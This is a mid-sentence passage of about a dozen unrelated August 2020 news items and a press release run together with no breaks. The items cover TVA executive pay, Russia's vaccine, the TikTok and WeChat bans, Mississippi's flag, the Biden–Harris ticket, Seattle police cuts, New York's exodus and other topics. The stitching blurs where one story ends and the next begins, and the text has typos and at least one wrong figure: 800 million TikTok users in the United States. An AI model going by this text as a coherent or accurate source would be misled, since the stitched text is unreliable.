compensation during his first six months on the job. Trump's $400,000 annual salary is only a fraction of what Lyash is paid at TVA and the president has called TVA's pay for its CEO "ridiculous." Trump said TVA's top pay should be cut "by a lot" to be more in line with other federal executives. During a White House briefing last week, Trump called upon the TVA board to replace Lyash and immediately hire a new chief executive officer who "puts the interests of Americans first." "The new CEO must be paid no more than $500,000 a year," Trump said. "We want the TVA to take action on this immediately." Trump was especially critical last week of TVA's plans to replace some of its own information technology employees with outside contractors that use some foreign workers employed in the United States with H1-B visas. In response to Trump's criticism, TVA reversed its decision and agreed to keep all of its IT workers. Ryder and Lyash met Thursday at the White House with Trump's chief of staff, Mark Meadows, and told Trump administration officials of TVA's decision to drop its plans to outsource IT work. Ryder said the meeting was cordial and TVA acknowledged it shouldn't have allowed foreign worker to do the work formerly done by TVA workers, especially during the current pandemic. Ryder said Trump has the executive authority to remove TVA directors from the board and the federal utility needs to work with the White House and Congress, as appropriate. Trump does not have the authority to directly fire Lyash, although he has called upon the TVA board to do so. After Trump fired TVA Chairman Skip Thompson of Decatur, Alabama and Richard Howorth of Oxford, Alabama, the TVA board shrunk to only five members. The board will meet on Aug. 27 to adopt a budget for fiscal 2021 and will also elect a chairman and begin the process of reviewing its CEO compensation, Ryder said. The TVA act, as amended under the board restructuring Congress adopted in 2004, requires TVA to pay competitive compensation with other electric utilities for all of its workers, including its CEO. TVA relies upon a Willis Towers Watson Energy Services Executive Compensation Database of 28 investor-owned utilities with revenues of more than $3 billion , plus five major government entities, to help set Lyash's pay. TVA's CEO salary of $920,000 is more than twice the highest federal salary the $400,000 annual pay for the president and TVA also has a host of pension and performance bonuses that add millions more to Lyash's pay package. But TVA said Lyash's compensation ranks in the bottom 25% of major U.S. utilities. Lyash's predecessor, Bill Johnson, was paid $6.9 million in his final year at TVA in 2017. But Johnson was offered an $18.5 million package to run Pacific Gas & Electric in California. TVA will review its CEO compensation as its prepares to get three new directors. East Tennessee State University President Brian Noland and former Tennessee Speaker of the House Beth Harwell have been nominated for the TVA board by the president and endorsed by the Senate Committee on Environment and Public Works They are awaiting a final vote of the full U.S. Senate to be confirmed and take their seat on the TVA board. Last week, a day firing the last remaining Democrat on the TVA board, Trump nominated another Mississippi business leader to succeed the ousted Richard Howorth for the governing board of America's biggest government utility. Charles W. Cook, Jr., the chairman of Bandwidth Infrastructure Holdings and founder of SummitIG, LLC, who lives in Oxford, Mississippi, was nominated as a TVA director upon the recommendation of Misssippi's U.S. Senators. Cook has served in multiple leadership roles throughout his career with MCI Telecommunications, Metromedia Fiber Networks, and OnFiber Communications, and has constructed and operated the most robust dark fiber network in northern Virginia. If confirmed by the U.S. Senate, Cook will serve a 5-year term on the 9-member TVA board. "Bill Cook is a terrific choice for the TVA board and would represent our state well as the only Mississippian on the panel," said U.S. Sen. Roger Wicker, R-Mississippi. "Bill has built a successful career managing complex networks of data and information and advising businesses to help them grow and prosper. I know he will bring the same vision and leadership to this position, which is critical to economic development and reliable energy in our state." Sen. Hyde-Smith said Cook's experience in serving rural communities will be a valuable asset for TVA. "I will do everything I can to advocate for his prompt consideration and confirmation," she said. Trump dismissed Howorth from the TVA board last year after nine years on the board, including a couple of years as its chairman, because Howorth had supported TVA management in trying to outsource information technology jobs and pay Lyash the highest compensation of any federal worker. Contact Dave Flessner at dflessner@timesfreepress.com or 423-757-6340. 2020 the Chattanooga Times/Free Press (Chattanooga, Tenn.) Visit the Chattanooga Times/Free Press (Chattanooga, Tenn.) at www.timesfreepress.com Distributed by Tribune Content Agency, LLC. The President of Russia, Vladimir Putin has just announced that Russia has developed a Coronavirus vaccine that offers "sustainable immunity" from the virus. Russian President Vladimir Putin has just announced that Russia has developed the first Coronavirus vaccine. He said, in a televised video call with his government ministers, on Tuesday, that it was the first vaccine to offer sustainable immunity from the virus.Russias first COVID-19 vaccine was developed jointly by the Moscow based Gamaleya Research Institute and the Russian Defense Ministry. At the same time, Philippines President Rodrigo Duterte has said that he would be willing to be the first to take the vaccine, and test it, while also voicing a readiness to cooperate with Moscow on the vaccines production and clinical trials. Soon after this announcement by Duterte, the Russian Direct Investment Fund expressed a willingness to conduct clinical trials in the Philippines. Also read: India stands second in Covid testing after US: Trump Also read: Trump escorted from briefing room due to firing outside White House Putin also stated that his own daughter had been inoculated with the vaccine. Also read: India to provide relief material to Lebanon after Beirut blasts President Trump's new executive orders banning Chinese social media apps TikTok and WeChat marked a significant escalation in the ongoing technology tensions between the U.S. and China, according to analysts. On Aug. 6, 2020, Trump declared that TikTok and WeChat posed a threat to national security and invoked the International Emergency Economic Power Act. He prohibited Americans from carrying out any transactions with the parent companies of TikTok and WeChat beyond 45 days meaning U.S. companies and individuals will not be able to advertise with the platforms, offer them for download via app stores, or enter into licensing agreements with them. WeChat logo VOA spoke with government officials, think tank experts and app users for perspective on the immediate and long-term implications of the decision to ban the two major Chinese apps. Two Internets: One controlled by US, other by China Eric Schmidt, former CEO of Google, predicted in 2018 that within the next decade, there would be two distinct Internets: one led by the U.S. and the other one led by China. Only two years after his comments at a private event held by investment firm Village Global VC, that prediction seems to have become a reality. The Trump Administration has adopted a defensive measure to protect itself. Because the Internet in the world has been divided into two parts by China, one is free and the other is captivated, said a high-level U.S. official familiar with the matter who spoke with VOA on background. The official, who declined to be identified when discussing the administrations thinking, said that China is taking advantage of the Internets openness to undermine it, because China has no interest in easing up on the Great Firewall that closely monitors the countrys roughly 800 million online netizens. These two Internets are not reciprocal. The Chinese government with its state power freely uses the tools provided by the free world to destroy the cornerstones of the free Internet," the official said. The official added that Trumps order will protect the foundation of a free Internet and prevent the platforms controlled by the Chinese Communist government from adversely impacting free speech outside of China. Government intervention: good or bad? In the next few weeks, several things could happen to TikTok. It could be bought by a U.S. tech company, somehow banned by the Trump Administration, or receive punishment under CFIUS, a government agency reviewing the companys 2017 acquisition of Muiscal.ly, which led to the creation of the popular video-sharing social network. TikTok will not be the last TikTok, there will be companies in the future that will be under similar scrutiny, and what happens with TikTok in the next few weeks will have ramifications for future companies, said Megan Lamberth, a research assistant for the Technology and National Security Program at the Center for a New American Security. Some policy analysts from Americas closest allies welcome the latest hardline approach by the Trump Administration, saying government intervention is necessary under the current circumstances. We do need to apply some restrictions and often even some coercive aspects in a legal sense on businesses to prevent that kind of technology leakage in particular sectors, said John Lee, former policy advisor to the Australian foreign minister at an event hosted by the Hudson Institute on countering Chinas aggressive tech policies. TikTok, a social networking app for sharing short user-produced video clips, and WeChat, a super app including messaging, social media and payment platforms, both collect extensive data on their users. The core concern from western countries is that the Chinese government will be able to access this data and potentially leverage it for espionage or blackmail. U.S. officials also worry that the heavy censorship of these apps will result in biased political opinions and increased spread of misinformation. Lee added that developed countries need to bring business communities along in resolving these issues, but can't leave it to the business community or the market to work these issues out. Other experts warn there might be potential backlash from the governments action to cut off Chinese rivals to American tech companies. The more the U.S. advances the idea of cutting off one country or another from the Internet in the way we use it, the more that type of scrutiny could come back and be applied to American companies as well, Graham Webster, editor in chief of the StanfordNew America DigiChina Project at the Stanford University Cyber Policy Center, told VOA. Members of the City Youth Organization hold posters with the logos of Chinese apps in support of the Indian government for banning the popular video-sharing 'TikTok' app, in Hyderabad on June 30, 2020. Mixed reaction from app users TikTok is one of the worlds best-loved apps, with more than 800 million monthly active users in the United States. WeChat, while not as popular in the U.S. as TikTok, is extensively used by the Chinese diaspora to connect with family and friends in China. I think my life will be hugely impacted if WeChat is banned, said Helen, a Chinese international student at New York University (NYU). WeChat is the only way of communication between me and my friends in China. Most chatting apps, such as Line, WhatsApp, Facebook, and Instagram, are banned in China. Currently WeChat is the only super app connecting people living in the U.S. and China and offers cross-border payment options. Kevin, who works in a restaurant in New Yorks Chinatown, told VOA that it would be hard for him to connect with family back home. I know some people who have houses here for rent and live in China, they are using WeChat to collect rent. If the app is banned, it will be a big problem for them, he said. Chinese Americans who spoke with VOA, meanwhile, do not seem to be concerned with the ban on WeChat. Its not going to stop people from making other apps to chat, I dont know whats the point, said Stanley, a nurse living in New York. Monica Xu, Wenhao Ma contributed to this report. Despite the best efforts of some creative residents, Mississippi's new flag will not feature Elvis Presley, Kermit the Frog, or beer cans. Mississippi's old flag the last one in the U.S. to feature a Confederate battle emblem was retired in late June amid public outcry and anti-racism protests sparked by the death of George Floyd. A nine-member commission appointed by the governor, lieutenant governor, and state House speaker was tasked with selecting a design for a new flag. There are just two rules: It cannot include the Confederate battle emblem and it must have the phrase "In God We Trust." The public was invited to send in designs, and nearly 3,000 were submitted; the 147 that made it to the second round were posted Monday to Mississippi's Department of Archives and History website. Designs with food and famous people and characters were rejected, The Associated Press reports, but many with magnolias and stars and in one case, a mosquito surrounded by stars made the cut. On Friday, the commissioners will meet to pick their top five choices, and by early September, they will narrow it down to one; if they can't choose one, they do have the option of creating their own design. It will then be up to the people of Mississippi, who will vote either for or against the final design on the Nov. 3 statewide ballot. More stories from theweek.com Donald Trump's impotent tyranny Protesters, police clash during 2nd night of protests over disputed Belarus election Trump says the 1918 flu pandemic began in 1917, 'probably ended the Second World War' Indias B9 Beverages, maker of popular craft beer Bira, is in talks with international brewers and investors to sell a stake of up to 20% in the company, its chief executive officer (CEO) told Reuters on Tuesday. Weve been looking for a combination: (an) international beer company as a strategic investor and a separate financial partner," CEO Ankur Jain said in a phone interview, adding that the company was at the intermediate stage" of raising funds. Weve been talking to beer companies that are not competitive in India, or have minimal operations here." Data provider PitchBook estimates New Delhi-based Bira was valued at $210 million in 2018. US-based Sequoia Capital holds a roughly 45% stake in the company, while Jain and his family own around 30%. Jain declined to name the companies with which it is in talks, but four industry people in the know said Bira was in talks with Kirin Holdings, one of Japans biggest beer makers which has limited sales in India. A Kirin spokesman said there was absolutely no discussion at the moment" on taking a stake in Bira. Last week Kirin cut its full-year profit outlook due to the covid-19 impact and said it would avoid non-essential" investments. A Kirin official said the company sees India as a growth market and that it has looked at Bira, but that it was part of a broader study into global markets. One of the Indian industry officials said that Bira and Kirin had discussed a deal which would also allow the Japanese brewer to offer its brands directly which include Kirin Lager and Ichiban Shiboriin Indias estimated $7 billion beer market. Kirin has, in the past, shown interest in independent breweries and owns a minority stake in New Yorks Brooklyn Brewery. Bira, launched in 2015, is one of the smallest players in India, but its craft beer offerings have become increasingly popular. Jain said Bira had a 5-10% share of the beer market in New Delhi, Mumbai and Bengaluru. Indias beer market is dominated by firms like United Breweries, Anheuser-Busch InBev and Carlsberg, as per IWSR Drinks Market Analysis. An investment from Kirin or any other investor would help Bira, which has been incurring losses and has, more recently, taken a beating due to the pandemic, just like the rest of the industry. Bira has also talked of plans to list on the exchanges. Bira is really struggling financially at the moment and they badly need a lifeline," said an Indian industry official. The firm clocked $24.5 million in sales in FY20, but its loss for the period doubled to $27 million. Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Never miss a story! Stay connected and informed with Mint. Download our App Now!! Topics (Newser) The first-ever silver dollar minted by the United States is going up for auctionbut if you want to get your hands on it, you'll probably need at least 10 million younger dollars. The "Flowing Hair" 1794 dollar, which has Lady Liberty on one side and an eagle on the other, was the world's most valuable rare coin when Las Vegas collector Bruce Morelan bought it for $10 million in 2013 and it is expected to fetch the same price or more in the October auction, USA Today reports. "This coin is the Holy Grail of all dollars," says Laura Sperber, president of Legend Numismatic. story continues below The coin is believed to be the first of 1,758 silver dollars the Philadelphia Mint delivered in Oct. 1794, of which around 130 have survived to the present day, the AP reports. "You have to wonder who was there and who handled it," Sperber says. "If we could test its DNA, it would be incredible." Matthew Bell, CEO of Legend Auctions, says that because of its significance, the "national numismatic treasure" was probably seen by George Washington, Thomas Jefferson, and Alexander Hamilton, among others. Morelan says owning the coin was a "lifelong dream"but since he enjoys building sets, and his early US silver dollar set is now complete, he has "decided its time for other collectors to enjoy these magnificent coins." (Read more coins stories.) Crispy cauliflower and chopped salad at Nueva in Venice. (Rob Stark Photography) This week in dining news: Nueva Nueva, the modern Mexican cantina from chefs Vartan Abgaryan and Mesraim Llanez, is open in Venice for takeout and outdoor dining. The menu features dishes such as hamachi and uni ceviche, black bean falafel tacos, a smoky chipotle Caesar salad and yellow corn mole with roasted squash. Former NoMad bartender Adam Fournier oversees a cocktail list that includes a clarified Paloma, nitro-infused mezcal Negroni and watermelon shrub margarita. 822 Washington Blvd., Los Angeles, (310) 747-6050, nuevavenice.com Pink's Hot Dogs Iconic Hollywood hot dog stand Pink's will reopen for takeout and outdoor dining on August 11, according the restaurant's Facebook page. Pink's had been shuttered since March 15, the first time the stand had closed in its 80-year history. Summer Social Club West Hollywood bar Employees Only has launched Summer Social Club, an outdoor bar and event space hosted in collaboration with the Barber Truck. Wine and cocktails are available daily, paired with a rotating slate of food vendors, including Tacos Tu Madre, Salts Cure, Filipino pop-up Tagalog Takeover and raw bar pop-up Crudo e Nudo. 7951 Santa Monica Blvd., West Hollywood, instagram.com/summersocialclub Coi at Alta Adams 5359 W. Adams Blvd., Los Angeles, (323) 571-4999, altaadams.com Kato goes casual Westside Taiwanese spot Kato is now offering a more casual takeout and delivery menu, which chef-owner Jon Yao has dubbed Kato-Go. Options include scallion pancake wraps with char siu short rib or fried chicken and cold sesame noodles. 11925 Santa Monica Blvd., Los Angeles, (424) 535-3041, katorestaurant.com Ela Ela Mediterranean restaurant Ela Ela is open for outdoor dining. Formerly delivery and takeout only, the recently debuted concept from the h.wood Group has set up patio seating next to West Hollywood nightclub Poppy. The menu features dishes such as roast chicken with garlic sauce and grilled lemon, tahini roasted vegetables and orange blossom pudding with sesame brittle. Story continues 755 N. La Cienega Blvd., Los Angeles, (323) 545-6792, elaelamediterranean.com Mad Lab Coffee Local roaster Mad Lab Coffee is now open in Hollywood. The small takeaway cafe space, run by Mad Lab founders Andrew and Sara Sinclair, offers espresso drinks, filter coffee and cold brew made from house-roasted beans. 6515 W. Sunset Blvd., Los Angeles, madlab.co Ichijiku Ichijiku is now open in Highland Park for takeout. The casual sushi restaurant from Cafe Birdie restaurateurs Russell Malixi and Wade McElroy features a short selection of nigiri and handrolls, including vegan options such as beets with tofu cream cheese and roasted red peppers with fried lotus root. 5629 N. Figueroa St., Los Angeles, (323) 739-6232, ichijikusushi.com Theia Theia, a modern Greek restaurant located in the former Jaffa space near Beverly Grove, opens this weekend for takeout and outdoor dining. The menu from former Tasting Kitchen chef Moises Placencia includes dishes such as salt-crusted loup de mer, spanakopita and a lamb burger with tzatziki. 8048 W. 3rd St., Los Angeles, (323) 591-0059, theia-la.com Heritage Sandwich Shop Heritage Sandwich Shop, a casual lunch counter from Restauration chef Philip Pretty and restaurateur Lauren Pretty, is open for takeout and delivery in Long Beach. Sandwich options include smoked pork belly with tomato-pepper jam, fried halibut with tartar sauce, and grilled broccolini with Swiss cheese, sauerkraut and Russian dressing. 2032 E. 7th St., Long Beach, (564) 343-1068, heritagesandwichshop.com Egg Bomb Egg Bomb is open in Koreatown for takeout and delivery. The casual Korean restaurant specializes in a Keto-friendly version of the popular rice roll kimbap, made by swapping out rice for shredded scrambled egg. Fillings include avocado, bacon, spicy tuna or pork galbi. 3526 W. 8th St., Los Angeles, (213) 263-9949, instagram.com/eggbombla Don Chon Menudo Don Chon Menudo is open Saturday through Monday in Pacoima for takeout and delivery. The hangover-soup specialist, operated by the family behind popular San Fernando Valley vendor Birrieria San Marcos, offers bowls of red or white menudo served with fresh tortillas. 13300 Filmore St., Pacoima, (818) 818-7246, instagram.com/donchon.menudo Katsu Bar Katsu Bar is open in Cerritos for outdoor dining, takeout and delivery. The Texas-based restaurant chain offers chicken and pork katsu sandwiches in a variety of flavors such as Caprese, rosemary and barbecue. 11447 South St., Cerritos, (562) 219-7055, ilovekatsubar.com Sushi Tama Sushi Tama is open in West Hollywood for outdoor dining, takeout and delivery. The upscale sushi restaurant from Tokyo chef Hideyuki Yoshimoto offers omakase meals, seafood donburi and temaki (hand rolls) kits to-go. 116 N. Robertson Blvd., Los Angeles, (424) 249-3009, sushitama-la.com Mumbai, Aug 11 : Actor Abhishek Bachchan, who recently returned home after seeking Covid-19 treatment, has thanked his well-wishers via a special video. Taking to Instagram, Abhishek uploaded the video comprising tweets and messages from fans and colleagues in the industry. "I would like to thank all the fans and well-wishers for all their love, support and prayers for my speedy recovery. I am absolutely overwhelmed reading through so many posts on my feeds. Love and gratitude," Abhishek said in the clip. Fans loved Abhishek's gesture a lot. Actor Hrithik Roshan commented on the video, saying: "This is so sweet". Reacting to the video, Abhishek's sister Shweta Bachchan wrote: "How lovely so much love for you." Abhishek and his father, megastar Amitabh Bachchan had tested positive for Covid- 19 on July 11 and had been admitted to hospital. While Big B was released on August 2, Abhishek underwent treatment for another week till he tested negative. Abhishek's wife Aishwarya and daughter Aaradhya were also hospitalised with the virus and discharged after a few days. -- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed The Minnesota Freedom Fund, which was inundated with donations intended to bail out protesters after the police custody death of George Floyd, has since bailed several individuals accused of violent crimes, including a convicted rapist. The nonprofit bail fund received $35 million in donations in the wake of Floyds death, well above the roughly $100,000 in annual donations the group recorded in previous years, a local Fox affiliate reported Monday. Several Hollywood celebrities hailed and promoted the bail fund, including Steve Carell, Cynthia Nixon, and Seth Rogen, who started a chain of large donations to the group. The Freedom Fund paid $75,000 in cash to bail out a man charged with attempted murder, who is accused of shooting at police during the May riots. A modified firearm that resembled an AK-47 was recovered by police in that case. The fund also paid $100,000 for the release of a woman charged with second degree murder for allegedly stabbing and killing her friend. The Freedom Fund has bailed out convicted criminals as well as those simply accused of violent crimes. The group also paid $350,000 to bail out a twice convicted rapist, who is charged in two current cases with kidnapping, assault, and sexual assault. The last time we were down there, the clerk said, we hate it when you bail out these sex offenders, that is what they said, said Greg Lewin, the Freedom Funds interim executive director. I often dont even look at a charge when I bail someone out, Lewin said. I will see it after I pay the bill because it is not the point. The point is the system we are fighting. Lewin said the fund has bailed out about a dozen protesters since Floyds death sparked protests and unrest in cities around the country. Rioters in Minneapolis set a police precinct ablaze and looted businesses. More from National Review Colorado Politics is published both in print and online. Our website features subscriber-only news stories daily, designed for public policy arena professionals. Member subscribers also receive the weekly print edition of our award-winning newspaper, containing outstanding features and news stories, in their mailboxes every Saturday. Joe Biden, the likely Democratic presidential nominee, named Sen. Kamala Harris of California as his running mate on Tuesday. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate. Joe Biden (@JoeBiden) August 11, 2020 Biden, a longtime Delaware senator and former President Barack Obamas vice president, described Harris in a tweet as a fearless fighter for the little guy, and one of the countrys finest public servants. Harris, 55, is a former prosecutor and attorney general of California. One of several of Bidens previous opponents in a crowded 2020 Democratic presidential primary, Harris was elected to the U.S. Senate in 2016 and is the second African American woman to serve in the Senate. Joe Biden can unify the American people because hes spent his life fighting for us, Harris said in a tweet. And as president, hell build an America that lives up to our ideals. Im honored to join him as our partys nominee for Vice President, and do what it takes to make him our Commander-in-Chief. .@JoeBiden can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals. I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief. Kamala Harris (@KamalaHarris) August 11, 2020 Biden pledged in March to pick a woman to join him on the ticket, and Harris edged several prominent women, including Massachusetts Sen. Elizabeth Warren, after a months-long vetting process that wrapped up this week. My running mate will be a woman. #DemDebate Joe Biden (@JoeBiden) March 16, 2020 Bidens announcement comes nearly three months after the police killing of George Floyd in Minneapolis, which sparked nationwide outrage and protests over racial injustice and ramped up the pressure on Biden to choose a Black woman to join him in the fight against President Donald Trump and Vice President Mike Pence. Biden added that Harris worked closely with his late son, Beau, while she was attorney general. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse, he said. I was proud then, and Im proud now to have her as my partner in this campaign. Katrina Pierson, a Trump campaign senior adviser, blasted Harris as a phony willing to abandon her own morals, as well as try to bury her record as a prosecutor, in order to appease the anti-police extremists controlling the (Democratic) Party. Trumps first apparent comment on his opponents pick is a campaign video tweeted shortly after Bidens announcement. The ad accuses Harris of rushing to the radical left, calling for trillions in new taxes and blasting Biden for racist policies. Slow Joe and phony Kamala. Perfect together. Wrong for America, the narrator says as the ad closes. Susan Rice, former national security adviser and ambassador to the United Nations under Obama and reportedly one of Bidens top choices, offered her warmest congratulations to Harris in a tweet. I am confident Biden-Harris will prove to be a winning ticket, she said. I will do my utmost to help them win and govern. My warmest congratulations to @KamalaHarris. I am confident Biden-Harris will prove to be a winning ticket. I will do my utmost to help them win and govern. pic.twitter.com/9pfJggZSV9 Susan Rice (@AmbassadorRice) August 11, 2020 Related Content: Seattle Police Chief Carmen Best speaks to reporters in downtown Seattle, Wash., on Jan. 22, 2020. (Jason Redmond/AFP via Getty Images) Seattle Police Chief to Resign Following Department Cuts Update: Seattle Police Chief Carmen Best announced her resignation on August 11. Original story below. SEATTLESeattles police chief says she is stepping down, a move made public the same day the City Council approved reducing the department by as many as 100 officers through layoffs and attrition. Carmen Best, the citys first black police chief, said in a letter to the department published by KING-TV that her retirement will be effective Sept. 2. Mayor Jenny Durkan, a Democrat, has appointed Deputy Chief Adrian Diaz as the interim chief, according to the letter. Council members had approved the cuts Monday. Related Coverage Seattle City Council Approves Nearly $4 Million in Cuts to Police Department In a letter addressed to the Seattle Police Department, Best said, This was a difficult decision for me, but when its time, its time. She added: I am confident the department will make it through these difficult times. You truly are the best police department in the country, and please trust me when I say, the vast majority of people in Seattle support you and appreciate you. I look forward to seeing how this department moves forward through the process of re-envisioning public safety. I relish the work that will be done by all of you, she also wrote. In an email to police, Mayor Jenny Durkan said she accepted Bests decision with a very heavy heart. Seattle Mayor Jenny Durkan speaks at a news conference about the COVID-19 outbreak in Seattle, Washington, on March 16, 2020. (Elaine Thompson, Pool/Getty Images) I regret deeply that she concluded that the best way to serve the city and help the department was a change in leadership, in the hope that would change the dynamics to move forward with the City Council, Durkan wrote. Durkan and Best planned a Tuesday morning news conference. The mayor picked Best in July of 2018 to lead the department. She had been serving as interim chief. A military veteran, Best joined the department in 1992 and had worked in a wide variety of roles, including patrol, media relations, narcotics and operations and deputy chief. Measures that would cut less than $4 million of the departments $400 million annual budget this year passed out of committee unanimously last week. On Monday, only council member Kshama Sawant voted against the budget package, saying it does not do enough to defund the police. Police officers look on at protesters in Seattle, Washington, on July 20, 2020. (AP Photo/Elaine Thompson, File) Seattle currently has about 1,400 police officers. Several council members on Monday said the changes were a starting point in a long process to reimagine policing and public safety. The City Council also cut Bests roughly annual salary and the pay of other top police leaders, although the final cuts to Bests salary were significantly more modest than those approved last week. The council plan also takes officers off a team that removes homeless camps. While we cant do everything in this summer rebalancing package, we have set the path forward for tremendous work in front of us as a council and as a city, Council member Teresa Mosqueda said. Durkan and Best had urged the council to slow down its discussions about police budgets, saying the issue could be taken up in earnest when the 2021 city budget is considered. They also said any layoffs would disproportionately target newer officers, often hired from Black and brown communities, and would inevitably lead to lawsuits. Durkan has proposed cutting about $20 million from the police budget this year largely because of reduced revenues amid the COVID-19 pandemic. Last month, the mayor sketched out a plan to reduce the police budget by about $75 million next year by transferring parking enforcement officers, the 911 call center and other areas out of the department. It is unfortunate Council has refused to engage in a collaborative process to work with the mayor, Chief Best, and community members to develop a budget and policies that respond to community needs while accounting fornot just acknowledgingthe significant labor and legal implications involved in transforming the Seattle Police Department, Durkan said in a statement after the vote. Epoch Times staff contributed to this report. An ongoing mass exodus of residents and businesses from New York City has led some to suggest that the damage to the city's economy could last for years or decades to come. 'There's no reason to do business in New York,' said Michael Weinstein, the chief executive of Ark Restaurants, which owns Bryant Park Grill & Cafe in Manhattan and 19 other restaurants, in an interview with the New York Times. After months of harsh lockdowns and amid soaring violent crime in the city, Weinstein said he will never open another restaurant in New York. 'I can do the same volume in Florida in the same square feet as I would have in New York, with my expenses being much less. The idea was that branding and locations were important, but the expense of being in this city has overtaken the marketing group that says you have to be there,' he said. People wearing face masks are seen at Times Square amid the coronavirus pandemic on Sunday in New York. There are increasing signs the city is in a downward spiral An empty New York Subway car is seen in March. The city that once never slept is now a virtual ghost town after dark, with subways shutting down at 1am daily Though precise numbers are hard to come by, hundreds of thousands of New Yorkers have moved out of the city since the pandemic erupted there in mid-March. Though the viral spread has slowed to a snail's pace in the city, the exodus continues, as lockdown restrictions strip much of the joy out of big city life, and continuing remote work makes relocating feasible for white collar workers. Violent crime has also soared, with shooting incidents across the city up 177 percent in July compared to last year. Murders were up 59 percent for the month, burglaries rose 31 percent, and auto thefts increased 53 percent. The city that never slept is now an eerie ghost town after dark, the empty streets of lower Manhattan punctuated by caravans of NYPD vehicles racing from one incident to the next. Subway trains, which for decades ran 24-hours, now shut down at 1am daily for cleaning and disinfecting. The usually busy Grand Central Station is seen nearly empty in late March in New York City View of a boarded up Louis Vuitton storefront in the SoHo neighborhood of New York City A man holds his umbrella as Tropical Storm Isaias approaches New York City on August 4 The city has also suffered severely from the loss of millions of tourists, who buoyed the city's economy with big spending at shows, restaurants and retail shops. Though the pandemic will eventually pass, there are already signs that the economic fallout in New York and other major cities may persist long after the virus is defeated, as national brands begin to abandon their presence. J.C. Penney and Neiman Marcus, the anchor tenants at two of the largest malls in Manhattan, recently filed for bankruptcy and announced that they would shutter those locations. The Subway restaurant chain has already closed dozens of locations in New York City in recent months, Le Pain Quotidien has permanently closed several of its 27 stores in the city and plans to leave others closed until more people return to the streets, an executive at the chain's parent, Aurify Brands, told the Times. Other major brands have kept their New York locations closed even after reopening elsewhere. For four months, the Victoria's Secret flagship store at Herald Square in Manhattan has been closed and not paying its $937,000 monthly rent. The Victoria's Secret flagship store at Herald Square in Manhattan has been closed for four months and not paying its $937,000 monthly rent, even as its stores elsewhere reopen Junior's restaurant in Brooklyn is seen during the early days of lockdown in March. Many small businesses are not expected to survive after months of shutdown 'It will be years before retail has even a chance of returning to New York City in its pre-Covid form,' the retailer's parent company recently told its landlord in a legal document. Although the viral spread remains under control in New York for now, and outdoor dining has allowed for some return to normalcy during the summer, residents continue to flee in droves, with many anticipating a long, harsh winter of isolation in lockdown and potential second wave of the pandemic. Moving company Oz Moving said the number of people moving out of the city is continuing to rise at a rapid pace. The firm told Fox Business that they have seen an average increase in quote requests of 30 percent year over year, and by July 15 their services were fully-booked for the rest of the month. According to data from moving company United Van Lines, there was a 95 percent year over year increase in interest in moving out of Manhattan between the months of May and July. Florida and California were the main destinations people were relocating to, comprising 28 percent of relocations, Fox Business reported. They were followed by Texas and North Carolina, comprising 16 per cent of moves. Outdoor dining has allowed for some return to normalcy during the summer, but residents continue to flee in droves, with many anticipating a long, harsh winter of isolation in lockdown In a column for Bloomberg Opinion, Noah Smith warns that the population drain on New York City could persist even after the pandemic. 'Cities dont always grow. From about 1950 through 1980, for example, the population of New York City fell,' he pointed out. 'Many big U.S. cities lost people in the mid-20th century, with the 1970s seeing particularly rapid outflow,' Smith continued. The exodus in the 1970s correlated with a sharp rise in violent crime in major cities, which only abated in the early 1990s. Smith, a finance professor, analyzed job posting data from the website Indeed, finding that job postings in New York City over the past year have decreased by 36.4 percent. New York is not alone. San Francisco and Portland have seen their job postings plunge by 38.5 and 33.5 percent, respectively. Meanwhile, average rents have fallen sharply in many major cities -- though they still remain far above the suburbs and smaller cities. Data collected from Zumper determined that rent prices have fallen by 7.4 percent in Seattle, 11.1 percent in San Francisco, and 6.9 percent in New York City, since the same period last year. San Francisco remains the most expensive rental market in the nation, with one-bedrooms averaging $3,200 per month. New York is second, with one-bedrooms averaging $2,840. Anchorage, AK -- (SBWIRE) -- 08/11/2020 -- Accidents are everyday occurrences, which expose humans to bodily harm and injury of different magnitudes. When accidents are directly as a result of the negligence of another person, then it is expedient that victims are assisted to get justice for the hurt and pain, as well as other bodily harm that renders them incapable of performing actions they could easily do, before the accident. Personal injury lawyers and attorneys are responsible for helping victims get justice, compensation and settlement. In Wasilla, Alaska, Crowson Law Group, a reputable law firm, has in its employ, highly experienced attorneys and Auto Accident lawyers who are saddled with the responsibility of getting justice for personal injury victims. Answering a query, the Crowson Law Group spokesperson said, "At Crowson Law Group, we are dedicated to providing Alaskans with personal injury services in a bid to restore them to top form, those who have had their health, means of livelihood and emotional welfare snatched from them as a result of personal injury. We at the Crowson Law Group are unparalleled with the kind of personal injury services we offer at our law office. Our lawyers in Wasilla, Alaska have a strong and unique combination of what no other law firms merge in their service delivery: compassion and expertise. We understand that coping with the hurt from an accident is both frightening and terrifying, and our attorneys are ever ready to help victims get the compensation they so require and deserve." At Crowson Law Group, their personal injury lawyers understand that beyond having to deal with the shock that comes with being involved in an accident, injured individuals need to cope with excruciating pain, hurt and the anxiety of soaring healthcare costs, car repairs, and absence from work, as well as tons of paperwork from insurance companies. This is where they step in: they work expediently in getting the paperwork sorted for clients' claims and get the evidence on the accident while clients focus on other things, including trying to get back to top form. Individuals Looking for Attorneys in Wasilla AK can contact Crowson Law Group for their unique services. Speaking about their Auto Accident Lawyers, the spokesperson further added, "If you, or anyone close to you have been injured in a vehicle accident in Alaska, then without reasonable doubt, the experience was more than likely, a disturbing one. With serious injuries a direct result of the accidents, there comes with it also, an extensive and often prolonged medical treatment, which necessitates time off from work as well. While money will not erase the memory or remove the pain of the accident, it can make a significant difference with respect to expenses from medical treatment as well as some form of reparation for the injuries and property damages that you suffered. An auto accident attorney can provide necessary assistance in order for you to receive the compensation that you deserve in line with the injuries that you have suffered, and at Crowson Law Group, we are a law firm of renowned car accident personal injury lawyers that are absolutely dogged in rendering help to injury victims across the state of Alaska." Clients in need of the Best Auto Accident Lawyer in Alaska can be rest assured of the unequalled personal injury services offered at Crowson Law Group. Their warm and friendly car accident and injury lawyers will help clients remain as comfortable and secure as possible, as they are guided through the process of filing an auto accident personal injury claim. They assist personal injury victims take the monetary burden that comes in the wake of an accident off their shoulders, so that they can get their focus on getting better. About Crowson Law Group Crowson Law Group is focused on plaintiff personal injury representation in Alaska. To Consult the Best Attorneys in Wasilla, clients 